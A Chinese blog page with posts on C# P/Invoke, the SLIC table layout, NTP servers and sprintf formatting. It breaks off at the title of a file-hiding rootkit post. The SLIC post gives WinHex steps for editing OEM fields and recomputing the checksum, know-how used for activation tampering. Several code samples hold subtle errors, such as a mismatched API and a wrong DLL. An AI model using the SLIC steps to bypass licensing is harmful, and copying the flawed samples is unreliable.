helloworld

001D7DA1B1BC-OK

Posted in 未分类 | Leave a comment

C#调用win32 API或称非托管代码

在.net 编程环境中,系统的资源分为托管资源和非托管资源。

  对于托管的资源的回收工作,是不需要人工干预回收的,而且你也无法干预他们的回收,所能够做的

只是了解.net CLR如何做这些操作。也就是说对于您的应用程序创建的大多数对象,可以依靠 .NET

Framework 的垃圾回收器隐式地执行所有必要的内存管理任务。托管代码就是基于.net元数据格式的代码,
运行于.net平台之上,所有的与操作系统的交换有.net来完成,就像是把这些功能委托给.net,所以称之为托管代码。

举个例子l  

Vc.net还可以使用mfc,atl来编写程序,他们基于MFC或者ATL,而不是.NET,所有是非托管代码,如果基于.net比如C#,VB.net则是托管代码 

非托管代码是指.NET解释不了的  

简单的说,托管代码的话,.net可以自动释放资料,非托管代码需要手动释放资料.   
对于非托管资源,您在应用程序中使用完这些非托管资源之后,必须显示的释放他们,例如

System.IO.StreamReader的一个文件对象,必须显示的调用对象的Close()方法关闭它,否则会占用系统

的内存和资源,而且可能会出现意想不到的错误。

  清楚什么是托管资源,什么是非托管资源

  最常见的一类非托管资源就是包装操作系统资源的对象,例如文件,窗口或网络连接,对于这类资源

虽然垃圾回收器可以跟踪封装非托管资源的对象的生存期,但它不了解具体如何清理这些资源。还好.net

Framework提供了Finalize()方法,它允许在垃圾回收器回收该类资源时,适当的清理非托管资源。如果

在MSDN Library 中搜索Finalize将会发现很多类似的主题,这里列举几种常见的非托管资源:

ApplicationContext,Brush,Component,ComponentDesigner,Container,Context,Cursor,FileStream,Fon

t,Icon,Image,Matrix,Object,OdbcDataReader,OleDBDataReader,Pen,Regex,Socket,StreamWriter,Time

r,Tooltip 等等资源。可能在使用的时候很多都没有注意到!

关于托管资源,就不用说了撒,像简单的int,string,float,DateTime等等,.net中超过80%的资源都是托

管资源。

非托管资源如何释放,.NET Framework 提供 Object.Finalize 方法,它允许对象在垃圾回收器回收该对

象使用的内存时适当清理其非托管资源。默认情况下,Finalize 方法不执行任何操作。默认情况下,

Finalize 方法不执行任何操作。如果您要让垃圾回收器在回收对象的内存之前对对象执行清理操作,您

必须在类中重写 Finalize 方法。然而大家都可以发现在实际的编程中根本无法override方法Finalize

(),在C#中,可以通过析构函数自动生成 Finalize 方法和对基类的 Finalize 方法的调用。

例如:
~MyClass()
{
  // Perform some cleanup operations here.
}
  该代码隐式翻译为下面的代码。
protected override void Finalize()
{
  try
  {
    // Perform some cleanup operations here.
  }
  finally
  {
    base.Finalize();
  }
}

但是,在编程中,并不建议进行override方法Finalize(),因为,实现 Finalize 方法或析构函数对性能

可能会有负面影响。一个简单的理由如下:用 Finalize 方法回收对象使用的内存需要至少两次垃圾回收

,当垃圾回收器回收时,它只回收没有终结器(Finalize方法)的不可访问的内存,这时他不能回收具有终

结器(Finalize方法)的不可以访问的内存。它改为将这些对象的项从终止队列中移除并将他们放置在标记

为“准备终止”的对象列表中,该列表中的项指向托管堆中准备被调用其终止代码的对象,下次垃圾回收

器进行回收时,就回收并释放了这些内存。
C#如何直接调用非托管代码,通常有2种方法:

1.  直接调用从 DLL 导出的函数。
2.  调用 COM 对象上的接口方法
我主要讨论从dll中导出函数,基本步骤如下:
1.使用 C# 关键字 static 和 extern 声明方法。
2.将 DllImport 属性附加到该方法。DllImport 属性允许您指定包含该方法的 DLL 的名称。
3.如果需要,为方法的参数和返回值指定自定义封送处理信息,这将重写 .NET Framework 的默认封送处理。
好,我们开始
1.首先我们查询MSDN找到GetShortPathName的定义
The GetShortPathName function retrieves the short path form of the specified path.
DWORD GetShortPathName(
  LPCTSTR lpszLongPath,
  LPTSTR lpszShortPath,
  DWORD cchBuffer
);
2.查找对照表进行数据类型的转换(出处:http://msdn.microsoft.com/msdnmag/issues/03/07/NET/default.aspx?fig=true  )Data Types
 

Win32 Types Specification CLR Type
char, INT8, SBYTE, CHAR??  8-bit signed integer System.SByte
short, short int, INT16, SHORT 16-bit signed integer System.Int16
int, long, long int, INT32, LONG32, BOOL?? , INT 32-bit signed integer System.Int32
__int64, INT64, LONGLONG 64-bit signed integer System.Int64
unsigned char, UINT8, UCHAR?? , BYTE 8-bit unsigned integer System.Byte
unsigned short, UINT16, USHORT, WORD, ATOM, WCHAR?? , __wchar_t 16-bit unsigned integer System.UInt16
unsigned, unsigned int, UINT32, ULONG32, DWORD32, ULONG, DWORD, UINT 32-bit unsigned integer System.UInt32
unsigned __int64, UINT64, DWORDLONG, ULONGLONG 64-bit unsigned integer System.UInt64
float, FLOAT Single-precision floating point System.Single
double, long double, DOUBLE Double-precision floating point System.Double
?? In Win32 this type is an integer
with a specially assigned meaning; in contrast, the CLR provides a
specific type devoted to this meaning.

 
3.调用GetShortPathName这个API,简单的写法如下(编译通过的话),
using System;
using System.Runtime.InteropServices;
    public class MSSQL_ServerHandler
    {
        [DllImport("kernel32.dll")]
        public static extern int GetShortPathName
        (
            string path,
            StringBuilder shortPath,
            int shortPathLength
)
     }
而我们之前的例子:
using System;
using System.Runtime.InteropServices;
    public class MSSQL_ServerHandler
    {
        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern int GetShortPathName
        (
            [MarshalAs(UnmanagedType.LPTStr)] string path,
            [MarshalAs(UnmanagedType.LPTStr)] StringBuilder shortPath,
            int shortPathLength
)
     }
对比可知,其中DllImport ,static,extern基本上是必须有的,其他CharSet,MarshalAs(…)是可选项,在这里即使没有,程序也是可以调用此API了。
说明:
1.MSSQL_ServerHandler.
GetShortPathName 方法用 static 和 extern 修饰符声明并且具有 DllImport
属性,该属性使用默认名称GetShortPathName 通知编译器此实现来自kernel32.dll。若要对 C# 方法使用不同的名称(如
getShort),则必须在 DllImport 属性中使用 EntryPoint 选项,如下所示:
[DllImport("kernel32.dll", EntryPoint="getShort")]
2.使用MarshalAs(UnmanagedType.LPTStr)保证了在任何平台上都会得到LPTStr,否则默认的方式会把从C#中的字符串作为BStr传递。
 
现在如果是仅含有简单参数和返回值的WIN32 API,就都可以利用这种方法进行对照,简单的改写和调用了。
 
二.背后的原理 ―― 知其所以然,相关的知识
 1.平台调用详原理
平台调用依赖于元数据在运行时查找导出的函数并封送其参数。下图显示了这一过程。
对非托管 DLL 函数的“平台调用”调用


当“平台调用”调用非托管函数时,它将依次执行以下操作:
查找包含该函数的 DLL。
将该 DLL 加载到内存中。
查找函数在内存中的地址并将其参数推到堆栈上,以封送所需的数据。
注意   只在第一次调用函数时,才会查找和加载 DLL 并查找函数在内存中的地址。
将控制权转移给非托管函数。
平台调用会向托管调用方引发由非托管函数生成的异常。
 2.关于Attribute(属性,注意蓝色字)
属性可以放置在几乎所有声明中(但特定的属性可能限制它在其上有效的声明类型)。在语法上,属性的指定方法为:将括在方括号中的属性名置于其适用的实体声明之前。例如,具有 DllImport 属性的类将声明如下:
[DllImport] public class MyDllimportClass { ... }
有关更多信息,请参见 DllImportAttribute 类
许多属性都带参数,而这些参数可以是定位(未命名)参数也可以是命名参数。任何定位参数都必须按特定顺序指定并且不能省略,而命名参数是可选的且可以按任意顺序指定。首先指定定位参数。例如,这三个属性是等效的:
[DllImport("user32.dll", SetLastError=false, ExactSpelling=false)]
[DllImport("user32.dll", ExactSpelling=false, SetLastError=false)]
[DllImport("user32.dll")]
第一个参数(DLL 名称)是定位参数并且总是第一个出现,其他参数为命名参数。在此例中,两个命名参数都默认为假,因此它们可以省略(有关默认参数值的信息,请参见各个属性的文档)。
在一个声明中可以放置多个属性,可分开放置,也可放在同一组括号中:
bool AMethod([In][Out]ref double x);
bool AMethod([Out][In]ref double x);
bool AMethod([In,Out]ref double x);
某些属性对于给定实体可以指定多次。此类可多次使用的属性的一个示例是 Conditional
[Conditional("DEBUG"), Conditional("TEST1")] void TraceMethod() {...}
注意   根据约定,所有属性名称都以单词“Attribute”结束,以便将它们与 .NET Framework 中的其他项区分。但是,在代码中使用属性时不需要指定属性后缀。例如,
[DllImport]
虽等效于
[DllImportAttribute]
,但 DllImportAttribute 才是该属性在 .NET Framework 中的实际名称。
3.MarshalAsAttribute 类
指示如何在托管代码和非托管代码之间封送数据。可将该属性应用于参数、字段或返回值。
该属性为可选属性,因为每个数据类型都有默认的封送处理行为。
大多数情况下,该属性只是使用 UnmanagedType 枚举标识非托管数据的格式。
例如,默认情况下,公共语言运行库将字符串参数作为 BStr 封送到 COM 方法,但是可以通过制定MarshalAs属性,
将字符串作为 LPStrLPWStrLPTStrBStr 封送到非托管代码。某些 UnmanagedType 枚举成员需要附加信息。
 
三:进阶,如何处理含有复杂的参数和返回值类型的API的调用(To Be Continue…)
Api
函数是构筑Windws应用程序的基石,每一种Windows应用程序开发工具,它提供的底层函数都间接或直接地调用了Windows
API函数,同时为了实现功能扩展,一般也都提供了调用WindowsAPI函数的接口, 也就是说具备调用动态连接库的能力。Visual
C#和其它开发工具一样也能够调用动态链接库的API函数。.NET框架本身提供了这样一种服务,允许受管辖的代码调用动态链接库中实现的非受管辖函数,
包括操作系统提供的Windows
API函数。它能够定位和调用输出函数,根据需要,组织其各个参数(整型、字符串类型、数组、和结构等等)跨越互操作边界。
下面以C#为例简单介绍调用API的基本过程:  
动态链接库函数的声明  
  动态链接库函数使用前必须声明,相对于VB,C#函数声明显得更加罗嗦,前者通过 Api Viewer粘贴以后,可以直接使用,而后者则需要对参数作些额外的变化工作。
  动态链接库函数声明部分一般由下列两部分组成,一是函数名或索引号,二是动态链接库的文件名。  
 

譬如,你想调用User32.DLL中的MessageBox函数,我们必须指明函数的名字MessageBoxA或MessageBoxW,以及库名字
User32.dll,我们知道Win32
API对每一个涉及字符串和字符的函数一般都存在两个版本,单字节字符的ANSI版本和双字节字符的UNICODE版本。
  下面是一个调用API函数的例子:  
[DllImport("KERNEL32.DLL", EntryPoint="MoveFileW", SetLastError=true,  
CharSet=CharSet.Unicode, ExactSpelling=true,  
CallingConvention=CallingConvention.StdCall)]  
public static extern bool MoveFile(String src, String dst);  
 

其中入口点EntryPoint标识函数在动态链接库的入口位置,在一个受管辖的工程中,目标函数的原始名字和序号入口点不仅标识一个跨越互操作界限的函
数。而且,你还可以把这个入口点映射为一个不同的名字,也就是对函数进行重命名。重命名可以给调用函数带来种种便利,通过重命名,一方面我们不用为函数的
大小写伤透脑筋,同时它也可以保证与已有的命名规则保持一致,允许带有不同参数类型的函数共存,更重要的是它简化了对ANSI和Unicode版本的调
用。CharSet用于标识函数调用所采用的是Unicode或是ANSI版本,ExactSpelling=false将告诉编译器,让编译器决定使用
Unicode或者是Ansi版本。其它的参数请参考MSDN在线帮助.
  在C#中,你可以在EntryPoint域通过名字和序号声明一个动态链接库函数,如果在方法定义中使用的函数名与DLL入口点相同,你不需要在EntryPoint域显示声明函数。否则,你必须使用下列属性格式指示一个名字和序号。
[DllImport("dllname", EntryPoint="Functionname")]  
[DllImport("dllname", EntryPoint="#123")]  
值得注意的是,你必须在数字序号前加“#”  
下面是一个用MsgBox替换MessageBox名字的例子:  
[C#]  
using System.Runtime.InteropServices;  
public class Win32 {  
[DllImport("user32.dll", EntryPoint="MessageBox")]  
public static extern int MsgBox(int hWnd, String text, String caption, uint type);  
}  
许多受管辖的动态链接库函数期望你能够传递一个复杂的参数类型给函数,譬如一个用户定义的结构类型成员或者受管辖代码定义的一个类成员,这时你必须提供额外的信息格式化这个类型,以保持参数原有的布局和对齐。
C#提供了一个StructLayoutAttribute类,通过它你可以定义自己的格式化类型,在受管辖代码中,格式化类型是一个用StructLayoutAttribute说明的结构或类成员,通过它能够保证其内部成员预期的布局信息。布局的选项共有三种:
布局选项  
描述  
LayoutKind.Automatic  
为了提高效率允许运行态对类型成员重新排序。  
注意:永远不要使用这个选项来调用不受管辖的动态链接库函数。  
LayoutKind.Explicit  
对每个域按照FieldOffset属性对类型成员排序  
LayoutKind.Sequential  
对出现在受管辖类型定义地方的不受管辖内存中的类型成员进行排序。  
传递结构成员  
下面的例子说明如何在受管辖代码中定义一个点和矩形类型,并作为一个参数传递给User32.dll库中的PtInRect函数,  
函数的不受管辖原型声明如下:  
BOOL PtInRect(const RECT *lprc, POINT pt);  
注意你必须通过引用传递Rect结构参数,因为函数需要一个Rect的结构指针。  
[C#]  
using System.Runtime.InteropServices;  
[StructLayout(LayoutKind.Sequential)]  
public struct Point {  
public int x;  
public int y;  
}  
[StructLayout(LayoutKind.Explicit]  
public struct Rect {  
[FieldOffset(0)] public int left;  
[FieldOffset(4)] public int top;  
[FieldOffset( 8) ] public int right;  
[FieldOffset(12)] public int bottom;  
}  
class Win32API {  
[DllImport("User32.dll")]  
public static extern Bool PtInRect(ref Rect r, Point p);  
}  
类似你可以调用GetSystemInfo函数获得系统信息:  
? using System.Runtime.InteropServices;  
[StructLayout(LayoutKind.Sequential)]  
public struct SYSTEM_INFO {  
public uint dwOemId;  
public uint dwPageSize;  
public uint lpMinimumApplicationAddress;  
public uint lpMaximumApplicationAddress;  
public uint dwActiveProcessorMask;  
public uint dwNumberOfProcessors;  
public uint dwProcessorType;  
public uint dwAllocationGranularity;  
public uint dwProcessorLevel;  
public uint dwProcessorRevision;  
}  
[DllImport("kernel32")]  
static extern void GetSystemInfo(ref SYSTEM_INFO pSI);  
SYSTEM_INFO pSI = new SYSTEM_INFO();  
GetSystemInfo(ref pSI);  
类成员的传递  

样只要类具有一个固定的类成员布局,你也可以传递一个类成员给一个不受管辖的动态链接库函数,下面的例子主要说明如何传递一个sequential顺序定
义的MySystemTime类给User32.dll的GetSystemTime函数, 函数用C/C++调用规范如下:
void GetSystemTime(SYSTEMTIME* SystemTime);  
不像传值类型,类总是通过引用传递参数.  
[C#]  
[StructLayout(LayoutKind.Sequential)]  
public class MySystemTime {  
public ushort wYear;  
public ushort wMonth;  
public ushort wDayOfWeek;  
public ushort wDay;  
public ushort wHour;  
public ushort wMinute;  
public ushort wSecond;  
public ushort wMilliseconds;  
}  
class Win32API {  
[DllImport("User32.dll")]  
public static extern void GetSystemTime(MySystemTime st);  
}  
回调函数的传递:  
从受管辖的代码中调用大多数动态链接库函数,你只需创建一个受管辖的函数定义,然后调用它即可,这个过程非常直接。  
如果一个动态链接库函数需要一个函数指针作为参数,你还需要做以下几步:  
首先,你必须参考有关这个函数的文档,确定这个函数是否需要一个回调;第二,你必须在受管辖代码中创建一个回调函数;最后,你可以把指向这个函数的指针作为一个参数创递给DLL函数,.
回调函数及其实现:  

调函数经常用在任务需要重复执行的场合,譬如用于枚举函数,譬如Win32 API 中的EnumFontFamilies(字体枚举),
EnumPrinters(打印机), EnumWindows (窗口枚举)函数. 下面以窗口枚举为例,谈谈如何通过调用EnumWindow
函数遍历系统中存在的所有窗口
分下面几个步骤:  
1. 在实现调用前先参考函数的声明  
BOOL EnumWindows(WNDENUMPROC lpEnumFunc, LPARMAM IParam)  
显然这个函数需要一个回调函数地址作为参数.  
2. 创建一个受管辖的回调函数,这个例子声明为代表类型(delegate),也就是我们所说的回调,它带有两个参数hwnd和lparam,第一个参数是一个窗口句柄,第二个参数由应用程序定义,两个参数均为整形。
   当这个回调函数返回一个非零值时,标示执行成功,零则暗示失败,这个例子总是返回True值,以便持续枚举。  
3. 最后创建以代表对象(delegate),并把它作为一个参数传递给EnumWindows 函数,平台会自动地 把代表转化成函数能够识别的回调格式。
[C#]  
using System;  
using System.Runtime.InteropServices;  
public delegate bool CallBack(int hwnd, int lParam);  
public class EnumReportApp {  
[DllImport("user32")]  
public static extern int EnumWindows(CallBack x, int y);  
public static void Main()  
{  
CallBack myCallBack = new CallBack(EnumReportApp.Report);  
EnumWindows(myCallBack, 0);  
}  
public static bool Report(int hwnd, int lParam) {  
Console.Write("窗口句柄为");  
Console.WriteLine(hwnd);  
return true;  
}  
}  
指针类型参数传递:  
  在Windows API函数调用时,大部分函数采用指针传递参数,对一个结构变量指针,我们除了使用上面的类和结构方法传递参数之外,我们有时还可以采用数组传递参数。
  下面这个函数通过调用GetUserName获得用户名  
BOOL GetUserName(  
LPTSTR lpBuffer, // 用户名缓冲区  
LPDWORD nSize // 存放缓冲区大小的地址指针  
);  
    
[DllImport("Advapi32.dll",  
EntryPoint="GetComputerName",  
ExactSpelling=false,  
SetLastError=true)]  
static extern bool GetComputerName (  
[MarshalAs(UnmanagedType.LPArray)] byte[] lpBuffer,  
  [MarshalAs(UnmanagedType.LPArray)] Int32[] nSize );  
  这个函数接受两个参数,char * 和int *,因为你必须分配一个字符串缓冲区以接受字符串指针,
你可以使用String类代替这个参数类型,当然你还可以声明一个字节数组传递ANSI字符串,同样你也可以声明一个只有一个元素的长整型数组,使用数组名作为第二个参数。上面的函数可以调用如下:
byte[] str=new byte[20];  
Int32[] len=new Int32[1];  
len[0]=20;  
GetComputerName (str,len);  
MessageBox.Show(System.Text.Encoding.ASCII.GetString(str));  
  最后需要提醒的是,每一种方法使用前必须在文件头加上:  
  using System.Runtime.InteropServices;

 

参考文章
1.  Eric Gunnerson的《使用 Win32 和其他库》(非常好!!!)
2.  MSDN:C# 程序员参考 平台调用教程
3.  《在 C# 中通过 P/Invoke 调用Win32 DLL》Jason Clark
4.   Calling Win32 DLLs in C# with P/Invoke
5.  《暴强贴:从.NET平台调用Win32 API》水之真谛

Posted in 未分类 | Leave a comment

SLIC表的构成

1,SLIC表的头部(0~23,24h):
0~3----表名:SLIC,用“everest”检测时显示文本:SLIC;
4~7----表长:76010000,用“everest”检测时显示10进制值:374;
8-----
SLIC版本,目前全是01;
9----- SLIC表的校验,这个位置修正整个SLIC表校验和=0;
A~F---  SLIC表的 OEM ID
,用“everest”检测时显示文本;
10~17-- SLIC表的 OEM Table ID
,用“everest”检测时显示文本;
18~1B-- SLIC表的 OEM Revision  ,用“everest”检测时显示16进制值,
 
               比如这里如果是08080820,检测出来就是20080808;
1C~1F-- SLIC表的 Creator ID
,用“everest”检测时显示文本;
20~23-- SLIC表的 Creator Revision
,用“everest”检测时显示16进制值,
                 显示方式跟 OEM
Revision  相似。

2,SLIC表的SLP
PubKey(24~BF,9Ch):
同一品牌的SLIC表的PubKey绝大多数是一样的,有个别品牌的不一样!(貌似东芝的SLIC有这情况)

3,SLIC表的SLP
Marker (C0~175,B6h):
不同的SLIC表,SLPMarker都不一样,也是区别SLIC表异同的唯一地方!
位于CC~D9,Eh
字节的内容,必须跟SLIC表的OEM ID 、OEM Table ID 一样!

不同类型的BIOS,不同的厂家会根据自己的情况,或者喜好修改OEM
Revision 、Creator ID 、Creator Revision :
比如AMIBIOS,OEM Revision
一般是时间(年、月、日),Creator ID 都是MSFT,Creator Revision
大多是00000097;

AWARDBIOS的也有一定规律,OEM Revision 一般是312E3042(1.0B),Creator ID
一般是AWRD或者NVDA,技嘉的这里是GBTU,Creator Revision 就是什么都有!

对于phoenix
BIOS,就更混乱了,由于大品牌使用phoenix BIOS比较多,OEM Revision 、Creator Revision 没什么规律,Creator
ID 也是多种多样,大多数是204C5450(  LTP),ASL (DELL),FUJ (Fujitsu),HPQ
(HP)等等!

我们也可以根据自己的喜好,用WINHEX修改OEM Revision  、Creator ID 、Creator Revision

修改完先把SLIC的位于9处(校验)改为00,然后“全选-工具-计算哈希-8位校验和”,用16进制计算器把这个值取负数,把得出的最后两位写在SLIC表的9处,在计算一下8位校验和是否=0!图中红线就是修正SLIC表的地方!

Posted in 未分类 | 1 Comment

中国大概能用的NTP时间服务器地址

都试过了,基本上都能使:
server 133.100.11.8 prefer
server 210.72.145.44
server 203.117.180.36
server 131.107.1.10
server time.asia.apple.com
server 64.236.96.53
server 130.149.17.21
server 66.92.68.246
server www.freebsd.org
server 18.145.0.30
server clock.via.net
server 137.92.140.80
server 133.100.9.2
server 128.118.46.3
server ntp.nasa.gov
server 129.7.1.66
server ntp-sop.inria.fr
server 210.72.145.44(国家授时中心服务器IP地址)
Posted in 未分类 | 2 Comments

转载收藏一篇C++字符串格式化文章

sprintf你知道多少(转) 选自《CSDN 社区电子杂志——C/C++杂志》



在将各种类型的数据构造成字符串时,sprintf 的强大功能很少会让你失望。由于sprintf 跟printf 在用法上几乎一样,只是打印的目的地不同而已,前者打印到字符串中,后者则直接在命令行上输出。这也导致sprintf 比printf 有用得多。


sprintf 是个变参函数,定义如下:
int sprintf( char *buffer, const char *format [, argument] ... );除了前两个参数类型固定外,后面可以接任意多个参数。而它的精华,显然就在第二个参数:格式化字符串上。


printf 和sprintf 都使用格式化字符串来指定串的格式,在格式串内部使用一些以"%"开头的格式说明符(format specifications)来占据一个位置,在后边的变参列表中提供相应的变量,最终函数就会用相应位置的变量来替代那个说明符,产生一个调用者想要 的字符串。




一、格式化数字字符串


sprintf 最常见的应用之一莫过于把整数打印到字符串中,所以,spritnf 在大多数场合可以替代itoa。

如:
//把整数123 打印成一个字符串保存在s 中。
sprintf(s, "%d", 123); //产生"123"可以指定宽度,不足的左边补空格:
sprintf(s, "%8d%8d", 123, 4567); //产生:" 123 4567"当然也可以左对齐:
sprintf(s, "%-8d%8d", 123, 4567); //产生:"123 4567"


也可以按照16 进制打印:
sprintf(s, "%8x", 4567); //小写16 进制,宽度占8 个位置,右对齐
sprintf(s, "%-8X", 456 8) ; //大写16 进制,宽度占8 个位置,左对齐


这样,一个整数的16 进制字符串就很容易得到,但我们在打印16 进制内容时,通常想要一种左边补0 的等宽格式,那该怎么做呢?很简单,在表示宽度的数字前面加个0 就可以了。
sprintf(s, "%08X", 4567); //产生:"000011D7"
上面以"%d"进行的10 进制打印同样也可以使用这种左边补0 的方式。



这里要注意一个符号扩展的问题:比如,假如我们想打印短整数(short)-1 的内存16 进制表示形式,在Win32 平台上,一个short 型占2 个字节,所以我们自然希望用4 个16 进制数字来打印它:
short si = -1;
sprintf(s, "%04X", si);
产 生"FFFFFFFF",怎么回事?因为spritnf 是个变参函数,除了前面两个参数之外,后面的参数都不是类型安全的,函数更没有办法仅仅通过一个"%X"就能得知当初函数调用前参数压栈时被压进来的到底 是个4 字节的整数还是个2 字节的短整数,所以采取了统一4 字节的处理方式,导致参数压栈时做了符号扩展,扩展成了32 位的整数-1,打印时4 个位置不够了,就把32 位整数-1 的8 位16 进制都打印出来了。


如果你想看si 的本来面目,那么就应该让编译器做0 扩展而不是符号扩展(扩展时二进制左边补0 而不是补符号位):
sprintf(s, "%04X", (unsigned short)si);
就可以了。或者:
unsigned short si = -1;
sprintf(s, "%04X", si);


sprintf 和printf 还可以按8 进制打印整数字符串,使用"%o"。注意8 进制和16 进制都不会打
印出负数,都是无符号的,实际上也就是变量的内部编码的直接的16 进制或8 进制表示。




二、控制浮点数打印格式


浮点数的打印和格式控制是sprintf 的又一大常用功能,浮点数使用格式符"%f"控制,默认保
留小数点后6 位数字,比如:
sprintf(s, "%f", 3.1415926); //产生"3.141593"
但有时我们希望自己控制打印的宽度和小数位数,这时就应该使用:"%m.nf"格式,其中m 表
示打印的宽度,n 表示小数点后的位数。比如:
sprintf(s, "%10.3f", 3.1415626); //产生:" 3.142"
sprintf(s, "%-10.3f", 3.1415626); //产生:"3.142 "
sprintf(s, "%.3f", 3.1415626); //不指定总宽度,产生:"3.142"



注意一个问题,你猜
int i = 100;
sprintf(s, "%.2f", i);
会打出什么东东来?"100.00"?对吗?自己试试就知道了,同时也试试下面这个:
sprintf(s, "%.2f", (double)i);
第 一个打出来的肯定不是正确结果,原因跟前面提到的一样,参数压栈时调用者并不知道跟i相对应的格式控制符是个"%f"。而函数执行时函数本身则并不知道当 年被压入栈里的是个整数,于是可怜的保存整数i 的那4 个字节就被不由分说地强行作为浮点数格式来解释了,整个乱套了。不过,如果有人有兴趣使用手工编码一个浮点数,那么倒可以使用这种方法来检验一下你手工编 排的结果是否正确。




三、字符

/Ascii

码对照

我们知道,在C/C++语言中,char 也是一种普通的scalable 类型,除了字长之外,它与short,int,long 这些类型没有本质区别,只不过被大家习惯用来表示字符和字符串而已。(或许当年该把这 个类型叫做"byte",然后现在就可以根据实际情况,使用byte 或short 来把char 通过typedef 定义出来,这样更合适些)于是,使用"%d"或者"%x"打印一个字符,便能得出它的10 进制或16 进制的ASCII 码;反过来,使用"%c"打印一个整数,便可以看到它所对应的ASCII 字符。以下程序段把所有可见字符的ASCII 码对照表打印到屏幕上(这里采用printf,注意"#"与"%X"合用时自动为16 进制数增加"0X"前缀):
for(int i = 32; i < 127; i++) {
printf("[ %c ]: %3d 0x%#04Xn", i, i, i);
}




四、连接字符串


sprintf 的格式控制串中既然可以插入各种东西,并最终把它们"连成一串",自然也就能够连接字符串,从而在许多场合可以替代strcat,但sprintf 能够一次连接多个字符串(自然也可以同时在它们中间插入别的内容,总之非常灵活)。比如:
char* who = "I";
char* whom = "CSDN";
sprintf(s, "%s love %s.", who, whom); //产生:"I love CSDN. "
strcat 只能连接字符串(一段以''结尾的字符数组或叫做字符缓冲,null-terminated-string),但有时我们有两段字符缓冲区,他们并不是以 ''结尾。比如许多从第三方库函数中返回的字符数组,从硬件或者网络传输中读进来的字符流,它们未必每一段字符序列后面都有个相应的''来结尾。如果直接 连接,不管是sprintf 还是strcat 肯定会导致非法内存操作,而strncat 也至少要求第一个参数是个null-terminated-string,那该怎么办呢?我们自然会想起前面介绍打印整数和浮点数时可以指定宽度,字符串 也一样的。比如:
char a1[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G'};
char a2[] = {'H', 'I', 'J', 'K', 'L', 'M', 'N'};
如果:
sprintf(s, "%s%s", a1, a2); //Don't do that!
十有八东篱把酒黄昏后九要出问题了。是否可以改成:
sprintf(s, "%7s%7s", a1, a2);
也没好到哪儿去,正确的应该是:
sprintf(s, "%.7s%.7s", a1, a2);//产生:"ABCDEFGHIJKLMN"
这 可以类比打印浮点数的"%m.nf",在"%m.ns"中,m 表示占用宽度(字符串长度不足时补空格,超出了则按照实际宽度打印),n 才表示从相应的字符串中最多取用的字符数。通常在打印字符串时m 没什么大用,还是点号后面的n 用的多。自然,也可以前后都只取部分字符:
sprintf(s, "%.6s%.5s", a1, a2);//产生:"ABCDEFHIJKL"
在许多时候,我们或许还希望这些格式控制符中用以指定长度信息的数字是动态的,而不是静态指定的,因为许多时候,程序要到运行时才会清楚到底需要取字符数组 中的几个字符,这种动态的宽度/精度设置功能在sprintf 的实现中也被考虑到了,sprintf 采用"*"来占用一个本来需要一个指定宽度或精度的常数数字的位置,同样,而实际的宽度或精度就可以和其它被打印的变量一样被提供出来,于是,上面的例子 可以变成:
sprintf(s, "%.*s%.*s", 7, a1, 7, a2);
或者:
sprintf(s, "%.*s%.*s", sizeof(a1), a1, sizeof(a2), a2);
实际上,前面介绍的打印字符、整数、浮点数等都可以动态指定那些常量值,比如:
sprintf(s, "%-*d", 4, 'A'); //产生"65 "
sprintf(s, "%#0*X", 8, 12 8) ; //产生"0X000080","#"产生0X
sprintf(s, "%*.*f", 10, 2, 3.1415926); //产生" 3.14"




五、打印地址信息


有时调试程序时,我们可能想查看某些变量或者成员的地址,由于地址或者指针也不过是个32 位的数,你完全可以使用打印无符号整数的"%u"把他们打印出来:
sprintf(s, "%u", &i);
不过通常人们还是喜欢使用16 进制而不是10 进制来显示一个地址:
sprintf(s, "%08X", &i);
然而,这些都是间接的方法,对于地址打印,sprintf 提供了专门的"%p":
sprintf(s, "%p", &i);
我觉得它实际上就相当于:
sprintf(s, "%0*x", 2 * sizeof(void *), &i);
利用sprintf 的返回值
较少有人注意printf/sprintf 函数的返回值,但有时它却是有用的,spritnf 返回了本次函数调用最终打印到字符缓冲区中的字符数目。也就是说每当一次sprinf 调用结束以后,你无须再调用一次strlen 便已经知道了结果字符串的长度。如:int len = sprintf(s, "%d", i);对于正整数来说,len 便等于整数i 的10 进制位数。下面的是个完整的例子,产生10 个[0, 100)之间的随机数,并将他们打印到一个字符数组s 中,以逗号分隔开。
#include
#include
#include
int main() {
srand(time(0));
char s[64];
int offset = 0;
for(int i = 0; i < 10; i++) {
offset += sprintf(s + offset, "%d,", rand() % 100);
}
s[offset - 1] = 'n';//将最后一个逗号换成换行符。
printf(s);
return 0;
}
设想当你从数据库中取出一条记录,然后希望把他们的各个字段按照某种规则连接成一个字符串时,就可以使用这种方法,从理论上讲,他应该比不断的strcat 效率高,因为strcat 每次调用都需要先找到最后的那个''的位置,而在上面给出的例子中,我们每次都利用sprintf 返回值把这个位置直接记下来了。




六、使用

sprintf

的常见问题


sprintf 是个变参函数,使用时经常出问题,而且只要出问题通常就是能导致程序崩溃的内存访问错误,但好在由sprintf 误用导致的问题虽然严重,却很容易找出,无非就是那么几种情况,通常用眼睛再把出错的代码多看几眼就看出来了。



  1. 缓冲区溢出
    第一个参数的长度太短了,没的说,给个大点的地方吧。当然也可能是后面的参数的问题,建议变参对应一定要细心,而打印字符串时,尽量使用"%.ns"的形式指定最大字符数。

  2. 忘记了第一个参数低级得不能再低级问题,用printf 用得太惯了。//偶就常犯。
  3. 变参对应出问题
    通常是忘记了提供对应某个格式符的变参,导致以后的参数统统错位,检查检查吧。尤其是对应"*"的那些参数,都提供了吗?不要把一个整数对应一个"%s",编译器会觉得你欺她太甚了(编译器是obj 和exe 的妈妈,应该是个女的, :P )。


七、其他


strftime
sprnitf 还有个不错的表妹:strftime,专门用于格式化时间字符串的,用法跟她表哥很像,也是一大堆格式控制符,只是毕竟小姑娘家心细,她还要调用者指定缓冲区的最大长度,可能是为了在出现问题时可以推卸责任吧。这里举个例子:
time_t t = time(0);
//产生"YYYY-MM-DD hh:mm:ss"格式的字符串。
char s[32];
strftime(s, sizeof(s), "%Y-%m-%d %H:%M:%S", localtime(&t));
sprintf 在MFC 中也能找到他的知音:CString::Format,strftime 在MFC 中自然也有她的同道:
CTime::Format,这一对由于从面向对象哪里得到了赞助,用以写出的代码更觉优雅
Posted in 未分类 | Leave a comment

AK922: 突破磁盘低级检测实现文件隐藏

创建时间:2007-09-18
文章属性:原创
文章提交:Azy (aawwppeerr_at_126.com)

AK922: 突破磁盘低级检测实现文件隐藏
作者:Azy
